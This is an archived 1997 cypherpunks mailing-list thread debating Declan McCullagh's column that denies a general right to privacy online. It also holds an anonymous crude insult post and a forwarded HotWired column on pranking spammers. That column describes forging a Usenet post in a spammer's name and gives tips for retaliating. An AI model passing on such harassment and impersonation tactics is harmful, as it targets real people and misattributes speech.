From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 00:54:18 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>
Message-ID: <199706131641.LAA12785@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>, on
06/13/97 
   at 12:04 PM, Declan McCullagh <declan@pathfinder.com> said:

>Get a clue. I did:

>        Of course there's an essential right to privacy from the
>   government. (Beware government databases: Nazis used census data in
>   Germany and Holland to track down and eliminate undesirables.)

Well this is rather a poor example. The requirment of a census was written
into the costitution and with good reason. Many of the government actions
are based on demographics congressional districting is a prime example.

There is a fight going on in cogress right now as the current
administration wants to be able to gestimate the census rather than doing
an actuall head count so it can manipulate the figures any way it wants
(ie change the figures in key congressional districts so they can re-draw
them to favor their supporters).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 00:00:49 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613082033.27747N-100000@well.com>
Message-ID: <Pine.SUN.3.96.970613113859.23715G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> I suppose I am scum, at least by Ray's definition.
> 
> But let me ask this question: if someone *did* post my credit card/bank
> records online through an anonymous remailer, what recourse would I have?
> What recourse should I have?
> 
> -Declan

My point exactly.  Why should anyone have access to my machine or my
records and be able to pass it on to others?  Sure the insurance companies
will squeal that they should have access to my DMV and health records, but
should they have the right to take that info and pass it on publically?

What recourse do you feel you should have?

What would YOU do if someone did post all your personal info online?
things like credit records, home address, phone number, DMV records,
health records and such?  What would you WANT to do?  And what control do
you currently have over this?

Mind you, with your credit card info, any one of the "ankle biters" of the
Bevis & Butthead mentality would be able to purchase a dozen toilets and
have them shipped to your home, and other such abuses.  Or report all your
credit cards stolen right before you decide to entertain someone to dinner
and find you can't pay for it... etc...  These are all well known pranks.

Do you see my point and why I'm vehemently opposed to yours?

Or do you believe that "Oh, I have nothing to hide, I'm a good person and
have nothing to fear from anyone?"

> 
> 
> On Fri, 13 Jun 1997, Ray Arachelian wrote:
> 
> > On Thu, 12 Jun 1997, Declan McCullagh wrote:
> > 
> > > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> > 
> > [...]
> > 
> > >      I have a confession to make: Unlike many of my
> > > civil libertarian colleagues, I believe you have no
> > > general right to privacy online. Sure, you have the
> > > right to protect your personal data, but you shouldn't
> > > be able to stop someone else from passing along that
> > > information if you let it leave your computer. That's
> > > your responsibility.
> > 
> > 
> > Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> > morals, eh?  Maybe if someone would go through all your records and post
> > them all over the net, you'd feel differently!
> > 
> > Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> > scum if you believe this.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 13 Jun 1997 23:56:18 +0800
To: declan@pathfinder.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
Message-ID: <199706131550.LAA30964@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:
> 
> I suspect the scare about privacy has led to muddled thinking.

I agreed with the point of your article, though you might have been
more careful when uttering the magic word "right".


> I'm surprised not to hear more from other folks here: my position is one
> cypherpunks have advocated for years -- controlling what data flow from my
> computer is my responsibility.

I completely agree with your position.  I assumed the lack of reaction
was simply because you're preaching to the choir here.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 01:43:59 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706131632.LAA12660@mailhub.amaranth.com>
Message-ID: <199706131654.LAA13008@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706131632.LAA12660@mailhub.amaranth.com>, on 06/13/97 
   at 11:23 AM, "William H. Geiger III" <whgiii@amaranth.com> said:


>DMV records? They are treated the same as *ANY* state licence, they are
>part of the public record. This includes land titles, auto titles, birth
>certificates, death certificates, marriage & divorce records, any professional license (
>Doctor, Engineer, CPA, Architect, ...ect). As far as your driving record *ALL* court >proceedings are open to the public.

Wow, sorry about that last message my spell checker seems to be on the
blink. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 00:04:28 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
Message-ID: <Pine.SUN.3.96.970613114522.23715H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> I suspect the scare about privacy has led to muddled thinking.
> 
> Free speech is a right that strictly limits the government's ability to
> control what you say. We should have a similar right of privacy from the
> government.

That would be nice.  You should have put that in your article.

> But I give up my free speech "rights" when I attend a college with a wacky
> speech code or go to work at a company with workplace speech policies. My
> choices in those situations are governed by my free speech preferences. 
> Similarly, I give up my privacy "rights" when I go to unknown web sites,
> apply for a loan, or post to Usenet, etc. These also are preferences. 

But here you have a choice, you can chose to not accept that job or attend
that class, or surf that site, or even do so with a nome de guere. What
choice have you to control TRW or the DMV's, or your criminal records if
you have any?  Those aren't on your computer.

You can always attend the classes under assumed names.  This has been done
before.  (I believe one of the Steves at Apple did this - Wozniak???)
 
> I'm surprised not to hear more from other folks here: my position is one
> cypherpunks have advocated for years -- controlling what data flow from my
> computer is my responsibility.

It's still early in the morning.  I'm sure the thread will explode pretty
soon. Yes, but what about the information that others can get to on your
ISP?  Do you control that info?  We've always advocated protecting our own
data, but this doesn't mean that we should invade the privacy of those who
are clueless, or suck it in when some rogue piece of software (see the
netscape thread) endagers our privacy. 

I'm not saying pull your shades up and stand butt naked infront of your
windows.  I'm saying someone shouldn't have the right to stick a camera in
your home without your knowledge and then publish pictures of you in
Playgirl or whatever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 13 Jun 1997 18:10:50 +0800
To: cypherpunks@toad.com
Subject: Quadratic residues
Message-ID: <199706131000.MAA10625@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it.

    __o
  _ \<_  Timmy C. Maya
 (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@communities.com>
Date: Sat, 14 Jun 1997 03:21:30 +0800
To: cypherpunks@toad.com
Subject: Spam Libs (Frauenfelder on HotWired)
Message-ID: <3.0.32.19970613120139.0074c9b4@homer.communities.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded-by: Chip Morningstar <chip@communities.com>
Forwarded-by: Peter Langston <psl@langston.com>
Forwarded-by: Keith Bostic <bostic@bostic.com>
Forwarded-by: Jeff Moore <jbm@instinet.com>

This comes from HotWired's `packet' site, at:

    http://www.packet.com/packet/frauenfelder/nc_today.html

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Spam Libs

Bulk email spawns ingenious offensives from the masses

Do you remember Droodles? They're those simple line drawings that look
like nonsense until you read the captions. Droodles were invented in the
'60s by a humorist named Roger Price, an author probably best known for
his stinging critique of American society, The Great Roob Revolution. I
was lucky enough to get to know Roger before he died in 1990. He had lots
of great comics, books, and original art (from people like MAD Magazine
creator Harvey Kurtzman) lying around his Studio City, California, home.

Beside Droodles, Roger also invented Mad Libs. You might remember these,
too. Mad Libs were little books with stories in them. But the stories had
several missing words, with instructions to insert verbs, nouns, and
adjectives in the blank spaces.  The game was played at parties, where
one person asked the others to supply the missing words. Then the story
was read out loud and everybody laughed heartily at the result.  (There
are dozens of Mad Lib knockoffs on the Web.)

Because spammers work their cons anonymously, hiding behind forged email
addresses and working out of PO boxes, our imaginations can run wild about
what they look like. My fantasy spammer is a rat-skinny, potbellied,
40-year-old with a greasy salt-and-pepper ponytail and beard.  And he's
rat-smart: After being spammed with get-rich-on-the-Net messages, he
bought the lists containing millions of email addresses, and he bought
the DIY spam software, and now he's in business for himself, working from
the spare bedroom of his mother's house in a Las Vegas suburb.  I'm
grateful to Roger and his Mad Libs for helping me come up with a fun spam
prank. It all started a couple of weeks ago when I received the following:


	Do you drink bottled water?
	Are you looking for a
	discount? How about 4 cents
	a gallon? With our high
	quality water-filtration
	systems, you can bottle
	your own!! Email your name,
	address, phone# & email
	address to The Water Lady -
	TheWaterLady@----.com

I copied this stupid message into my word processor, and using the
search-and-replace function, swapped every occurrence of the word "water"
with "urine," then sent the result to the Water Lady:

	I received the following
	advertisement and I'm
	wondering if it is a joke?

	Do you drink bottled urine?
	Are you looking for a
	discount? How about 4 cents
	a gallon? With our high
	quality urine-production
	systems, you can bottle
	your own!! Email your name,
	address, phone# & email
	address to The Urine Lady -
	TheWaterLady@----.com

In a couple of hours, I got the following reply:

	Dear Mark:

	I don't know who may have
	done this sh*t (sic) to the
	message. Everywhere the
	word < urine > is found was
	originally < water >.
	Please accept our
	apologies. This is
	somebody's idea of a joke!

Heh - it sure was. Pleased with myself, I sent the mutated mail to my
friends. They got in on the action, respamming the Mad-Libbed message back
to The Urine Lady. Someone even posted the message on
alt.sex.fetish.watersports, with the subject "GOLDEN BOTTLES!" The post
was forged to look as though it were sent by The Urine Lady herself.

That same day, I got a spam trying to sell me a copy of Floodgate
software, a notorious spamming program. I copied the spam to my word
processor and did a few swaps. I changed "Floodgate" to "The Pig Spittle
Drinkers' Toolkit," "email" to "slobber bottle," "program" to
"pig-drool-extraction device," and "software" to "salivary-gland
stimulator." Here's what I sent back to the spammer:

	SPECIAL: Buy the latest
	version of The Pig Spittle
	Drinkers' Toolkit before
	May 21st and receive a list
	of 30 slobber-bottle
	swappers who have millions
	of slobber bottles to swap
	with you as you build your
	database.

	HERE'S WHAT OTHER PIG
	SPITTLE DRINKERS' TOOLKIT
	USERS SAY.....

	"The Pig Spittle Drinkers'
	Toolkit is truly a dream
	come true! By following the
	instructions in the book, I
	was able to develop a list
	of 2,400 slobber bottle
	addresses in less than one
	hour. Furthermore, the
	technical support is
	outstanding. This
	pig-drool-extraction device
	will put me on a level
	playing field with the big
	boys. They don't teach this
	stuff in business school!"

	"This salivary-gland
	stimulator works fantastic
	- I'm so busy now I can't
	keep up with the orders and
	inquiries! Thanks!"

	"I ordered the
	pig-drool-extraction device
	and haven't stopped running
	with it since. With your
	support, (at the drop of a
	hat), with the finest
	pig-drool-extraction device
	ever released for public
	use, I started my dream
	business, a bulk
	slobber-bottle business.

	"If a 'dummy' like me can
	use this salivary-gland
	stimulator, anyone can!
	Great tool!!!"

	[snip]

Soon, my friends and I were mutating and resending almost every spam we
got. Most of the spammers wrote back saying they were mystified and
expressed dismay that anyone would want to hurt their wonderful home-based
business, apologized profusely, and promised that they'd get to the bottom
of the nefarious campaign to defame their good name.

This was our intent: to make them think that someone had intercepted their
spam and was ruining their good name with wacko faux-spam. Only once did
the spammer retaliate by flaming the messenger. Here's the original spam
that a friend received:

	This is a great opportunity
	for your business. How
	would you like to get
	200-300 responses per day
	from your advertisement? At
	Selective Marketing we make
	it happen for your
	business. Selective
	Marketing is a bulk email
	advertiseing (sic) company
	that generates hundreds to
	thousands of responses for
	your business.

	[snip]

Here is his reply to the spammer:

	WHAT IS THE MEANING OF THIS
	DISGUSTING SATANIC FILTH?
	ALL FORTY-SIX MEMBERS OF
	'CHRISTAIN VIRGINS AGAINST
	INTERNET SEX' RECEIVD THIS
	DISGUSTING PIECE OF HATE
	MAIL AND I DEMAND THAT YOU
	PROVIDE AN EXPLANATION! WE
	ARE CONSULTING OUR LAWYERS
	NOW TO SEE IF LEGAL ACTION
	CAN BE TAKEN!

	JOHNATHON JILLIAN DAVES

	This is a great opportunity
	for your penis. How would
	you like to get 200-300
	penises per day from your
	penis? At Selective
	Marketing we make it happen
	for your penis. Selective
	Marketing is a bulk penis
	advertising company that
	generates hundreds to
	thousands of penises for
	your penis.

The spammer sent 61 identical emails to my friend, which read:

	YOU WILL LEARN NOT TO FUCK
	WITH ME YOU PIECE OF
	SHIT!!!!!!!!!

(My friend said it took him "all of 30 seconds" to save the messages in
a folder.)

If you want to play the Mad Lib Mutated Spam game, here are some tips.
(Remember, some of this stuff might get you in trouble with the long
tentacle of the law, so proceed at your own risk.)

1. Usually, spams do not contain valid email addresses. But there are a
   couple of ways to get a real address. First, you can look up the
   spammer's domain name on InterNIC's Whois database. That'll yield a
   couple of email address you can use.  The other way is to visit the
   spammer's Web site, which is often listed in the spam. If it isn't,
   just try typing the spammer's domain into your Web browser, and see if
   anything pops up. As a last resort, you can fax or snailmail your
   mutated message to the spammer, as they usually list their phone number
   and mailing address in their desperate quest to get their sebum-coated
   hands on your money.

2. If you have an AOL account, create a special email address (you are
   allowed up to five different addresses per account). I send most of my
   Mad-Libbed spams through an AOL address used exclusively for
   antispamming.  That way, if the spammer flips out and decides to mail
   bomb you or forge your name on obscene Usenet postings, it won't
   matter. This also works with Web-based anonymous email services like
   HotMail.

3. If you're technically adept, you might want to try "linking two
   spammers to each other," as another friend suggests. By "sending
   mutated mail to other spammers," says my Mad Lib buddy, "maybe they
   will start suspecting each other of mutual spam mutating, and spamming
   will enter a new era of conspiracy and distrust."

If you get any especially good results from playing Mad Lib Mutated Spam,
please tell me about it!

[Mark Frauenfelder]

Send mail to Mark Frauenfelder at mark@wired.com

Illustration by Dave Plunkert

[to webmonkey]
[to netsurf central]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 14 Jun 1997 00:23:14 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613114522.23715H-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray appears unwilling or unable to read what I write, so I may be leaving
this thread unless it becomes more interesting and less repetitive,
quickly. 

On Fri, 13 Jun 1997, Ray Arachelian wrote:

> > Free speech is a right that strictly limits the government's ability to
> > control what you say. We should have a similar right of privacy from the
> > government.
> 
> That would be nice.  You should have put that in your article.

Get a clue. I did:

        Of course there's an essential right to privacy from the
   government. (Beware government databases: Nazis used census data in
   Germany and Holland to track down and eliminate undesirables.)

> It's still early in the morning.  I'm sure the thread will explode pretty
> soon. Yes, but what about the information that others can get to on your
> ISP?  Do you control that info?  We've always advocated protecting our own

Yes. You can control it. Try learning how to "chmod 700 ~". If you don't
do it, don't whine about violations of your "privacy rights."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 01:21:17 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
Message-ID: <Pine.SUN.3.96.970613122604.23715I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> It's sad but not surprising that Ray didn't even bother to read the
> article before saying "FUCK YOU." Talk about clueless...

No, at the time, I didn't read the entire article, I did read the ENTIRE
snipped version you posted. You then later posted the whole article
stating "at least read the whole thing" and I did read the whole at that
point.  However, I didn't change my oppinion on this.
 
> He still misunderstands my position. I'm saying you have no property right
> in information others collect about you.

You say I misunderstand your position.  I say I disagree with it.  I
disagree to having no property rights to information others collect about
me. I believe that others should not have the right to collect information
about me without my consent.  There lies the difference. Why do you
continue to refuse to understand that I _DISAGREE_ with as opposed to
misunderstand your position?

This isn't about misunderstandings or personality conflicts Declan.  This
is about beliefs.

> Great. You want Congress to pass a law that says "Netscape shall release
> no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

No, I don't wish to have congress pass such laws.  I did however state
that I believe there should be a constitutional right to privacy in terms
of shared information - a built in Non Disclosure Agreement between all
interactions.  One does not exist, IMHO it should. 

If I chose to speak in public - as in this forum, I expect that my words
will not be private.  That's a given.  If I speak to XYZ Bank and apply
for a loan or credit card, I want that information to be private.

If I purchase a printed magazine, the publisher doesn't expect me to scan
it in and post it on the net, free for all to access.  In fact, if I were
to do that and persist in doing it, I would get sued for copyright
infringement.

I don't believe in software patents, but I do believe in copyright.  I
believe that what I do, or say should be copyrighted by default.  This
includes spending patterns, and such.  Very much ideal and non-reality,
yes, but it is my belief still.  I also believe Congress shouldn't be
populated by a bunch of money and power hungry slime bags.  That is also
ideal to me, but a non-reality.  Doesn't mean I shouldn't believe it, nor
does it mean I shouldn't have the right to disagree with someone that says
"Congress should be populated by weasels." 

Nor do I believe that TRW or the DMV should have the ability to sell my
information to others without my permission, or collect it for that matter
without a contrat that states how it will be used and who it will be
shared with. Can you name one Credit Card company that DOES NOT share its
info with TRW?  Yes, I can get a debit card, but information about
transactions on it will wind up in the hands of TRW.

That would be an ideal. Unfortunatly, I have been forced to give up some
privacy for things like credit cards and a driver's license.  I don't see
that I've had any other choice than to give up the ability to drive and
purchase things without having to carry large sums of cash.  I was forced
into giving up privacy.  Same as you I suspect.  That doesn't mean I agree
with the system.  It means I didn't have any other choice given basic
needs.  It doesn't mean that given the chance to change it by voting, I
wouldn't. 

Back to the strawman beatings:

I later cited the Netscape hole (or feature if you are paranoid) as an
example of something that could escape my machine and stated that whether
or not I secure my machine, if information escapes it by such methods, my
privacy has been violated.  This was given as a hypothetical example of
protecting one's privacy, yet still having it violated by leaks.

I cannot verify that Netscape's browser won't violate my security.  I am
forced to put some level of trust in it if I chose to use it.  Were I to
ask a Netscape representative whether their software were secure before
this bug/feature was discovered, would they say no?  Sure, I could use IE
or some other browser, but unless I carefully analyze the source code, I
wouldn't know if it had holes.  This paragraph is moot and I'm sure you
understand all this already.
 
> > Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> > has the right to snoop my machines and see what I have there is NOT cool.
> > What I leave on my computer is my private business, and NOBODY HAS THE
> > RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
> 
> I'm not saying that people have a "right to surf (?) it without your
> permission." That's a violation of your property rights, a trespass. But
> if you connect to my web site, I should be allowed to record whatever info
> leaks from your computer. Don't like it? Cut the flow or don't come. 

The keyword here is "leaks."  It doesn't imply with permission.  It
implies the opposite; and here is where I brought the Netscape bug as an
example of a flaw in your thinking.  If they, whether on purpose or not,
have the ability to snarf anything my browser is willing to give them
without my permission, this too is a breech of my privacy.  In this
example, even though I have taken precautions to disable cookies and
DIDN'T enter information as to my email identity, it is still possible to
grab it off my hard drive without my permission.  

Ditto for the ActiveX component that those German hackers wrote to grab
info out of Quicken. Was it the fault of the person surfing that some dork
at Microsoft misdesigned their software?  And because of that, some hacker
got my credit cards and went shopping?  What recourse do I have against
that happening once it does?

How do these breeches fit into your ideals?  You can brush them off and
say "oh, those were bugs or flaws" but privacy has still been violated.
How do you feel they should be dealt with?

Shall we accept rogue software, and Big Brother Inside software as mere
flaws?  True, Netscape will say these were unintentional.  But if they
weren't, -- if they were intentional, would we stand for them and accept
them?

Earlier I asked you a similar line of questions, which you haven't yet
answered (at the time of this writing.)  Again, what recourse do you feel
you should have against such invasions of your privacy?  What
protection(s) do you feel you should have? (Other than stating, if you
don't want it to leak, don't let it - for which I've shown you plenty of
examples of exceptions.)


In yet another message you've stated "chmod 700 ~" as a cure.  Very funny.
A whole lot of good that would do against someone who obtained root, or
managed to grab my ISP's backup tapes, etc...  Doesn't mean I do not
understand that my ISP can't do this.  Doesn't mean Mitnick won't get
out of jail and break into my account.  It means I don't want them to.

Sorry, I still chose to DISAGREE with you.  You might be able to convince
me otherwise with logic, but you won't be able to do so with words such as
"clueless" and "if you only read the whole thing." (Granted the same does
apply to me using the "Fuck you" subject, but hey, free speech and all
that. :) 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 03:03:34 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613132302.23715J-100000@beast.brainlink.com>
Message-ID: <199706131821.NAA14221@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970613132302.23715J-100000@beast.brainlink.com>, on
06/13/97 
   at 01:58 PM, Ray Arachelian <sunder@brainlink.com> said:

>So, say that someone got your DMV records, found out where you lived, and
>murdered you.  Would your family be able to sue the DMV?  Sure it's
>public knowledge, but should it be?  Should breeches of privacy be
>limited to "Breaking and Entering" or "hacking?"  Isn't the fundemental
>problem not simply trespassing, but rather invasion of privacy?  

Ray you seem to be missing the point here.

Any state issued permit is public record. This includes your drivers
license and your auto registration.

It is imperative that in a democracy that the public know who and what the
state is giving permits to (there whole other issue of wether the state
should be issuing permits at all but that should be left to another
thread).

In a free and open society the public must be able to review the actions
of its government.

If Joe Sixpack has run over 20 people because he gets his kicks out of it
and the DMV still issues him a license the public has a right to know.

If the California DMV is secretly denying driving license to anyone who
posts to the cypherpunks list the only way anyone would know is by
examining the DMV records.

If the state is going to issue permits on what people can and can not do
the it is crutial that the public can examine these records to insure that
the state is not abusing this power.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 14 Jun 1997 02:42:06 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <v03007801afc62e624e47@[168.161.105.191]>
Message-ID: <97Jun13.135323edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997, Declan McCullagh wrote:

> Privacy? What Privacy?
> by Declan McCullagh (declan@well.com)
> 
>      I have a confession to make: Unlike many of my
> civil libertarian colleagues, I believe you have no
> general right to privacy online. Sure, you have the
> right to protect your personal data, but you shouldn't
> be able to stop someone else from passing along that
> information if you let it leave your computer. That's
> your responsibility.

I think there is a confusion as to whether "The Net" is a public place or
not, and for most purposes it is.  When I say something in public, I
cannot expect it not to be repeated.  I should have no general right to
privacy in a public place.

When I email, if it is something I don't want to see posted everywhere, I
add a copyright notice of some sort - nonredistribution as a condition of 
use.

I don't think it is considered a breach of the first ammendment not to
allow a newspaper to serialize a book without compensating the author,
even if the book is available at a library.  And lots of things are
considered copyrighted without having the circle-c affixed to it. 

Libertarian means as much finding out about the rules and taking
responsibility for your acts (including unintentional publication), as
having rights.  If a site says they will not redistriubte the information,
and then does, it is a form of fraud.  If they don't say, or if they say
they do redistriubte data, it is up to me if I want to send them the data.

I think many people are uninformed, and simply want to use software
without spending the time figuring out what is going on, so it would help
if the various browsers had better Privacy settings (e.g. Lynx asks me if
I want to accept a cookie, yes, now, always, never, but my current
Netscape just has an Always - Warn (but if I cancel, the transfer stops) -
Never).

There is a minimal right to be informed that the browser allows collecting
all this data, and how to disable it.  I can't force people to read the
manuals, but I don't think it is proper to hide the anti-surveillence
controls on software, and disable them by default.

If a misunderstood or malicious application posted all the data in your
financial files without your knowledge and consent do you think you
shouldn't be able to stop someone else from passing along that information
since you let it leave your computer? 

Give people an informed choice.  Consent isn't possible without knowledge,
and if people know what is going on, they can decide what data they
will allow to leave their computer for public cyberspace.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 02:42:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <v03102802afc71cdf1f83@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970613132302.23715J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Tim May wrote:

> Your "go through all your records" point is ambiguous. If others broke into
> your house or office and searched your computer they would be guilty of
> breaking and entering, and probably theft (of your records). Publication of
> your records "all over the net" could be a compounding act, especially in a
> civil action against the thieves.

So, say that someone got your DMV records, found out where you lived, and
murdered you.  Would your family be able to sue the DMV?  Sure it's public
knowledge, but should it be?  Should breeches of privacy be limited to
"Breaking and Entering" or "hacking?"  Isn't the fundemental problem not
simply trespassing, but rather invasion of privacy?  

If I broke into your house, but didn't touch and thing, and didn't damage
anything, I'd still be trespassing, but would you mind?  If so, why?  I'd
bet because it invades your privacy, because it wasn't with your
permission. That's the root violation.  Trespassing is a side issue.

If the tree does fall in the forrest and no one hears it fall, it has
still fallen.  Whether it makes a noise is a question for Zen students. 
That it has fallen is unquestionable.   So I break into your house and
leave no traces and you don't know about it, would you care? 

What if I release the pictures of your house to the world?  What if I take
them using a telephoto lens from a distance?  What if I use IR scans of
your house to see what you're doing?  Or use microwaves bouncing off
metal objects, or IR lasers bouncing off your windows to listen in? At
what point does it become an invasion of privacy?  And what point would
you say I've gone too far?

Personally, I'd say it's too far when someone's going through my trash and
parking a van outside my house.  But that's my oppinion.


> However, if the "go through all your records" is really just collecting and
> compiling your public utterances, or information you gave to others (with
> no contractual agreement of secrecy), etc., then there is really no
> generalized "right to privacy."

If they are public records that were generated with my consent.  And yes,
I do agree with the above paragraph.  It's a big IF though.  But do I
consent to the DMV giving out my info?  Would I consent to the IRS giving
out my tax return?  Would I consent to TRW giving out credit reports to
anyone who is willing to pay the $50?  Not fucking likely.  Doesn't mean I
have any choice in the matter.  At no point did I sign any piece of paper
telling TRW they have the right to give out my info to anyone willing to
cough up the money.

> In a free and open society people are free to take any information they
> have gathered or compiled, cross-indexed and compiled, and sell it or do as
> they wish with it. "Tim's Dossier Service" is free to compile dossiers
> based on any records he can find.

Depends on what that info is and how it was obtained.  If your dossier
contains my credit cards, I can turn around and sue you, even though you
might have paid TRW to get that info or whatever.

If my phone number is unlisted and I share it with my CC company, and they
in turn release it to TRW, and you get it from them and post it to the
world, then I could sue my CC company, but it would be too late.  Sure, I
protect my info, but if someone didn't respect that, what recourse do I
have against them?  Once the info is out, it's out.
 
> ("Privacy advocates" find such things as "Tim's Dossier Service" abhorrent,
> and want laws regulating such things. They even want laws regulating the
> searching of past postings on Usenet, services likek DejaNews and
> AltaVista.)

Depends on what that information is.  There are robot rule files for your
web site that say "Don't catalog this," and web masters do get pissed if
it does.  Public postings are public. This is granted.  I'm not saying
what I write in public is considered private.  I chose to retain copyright
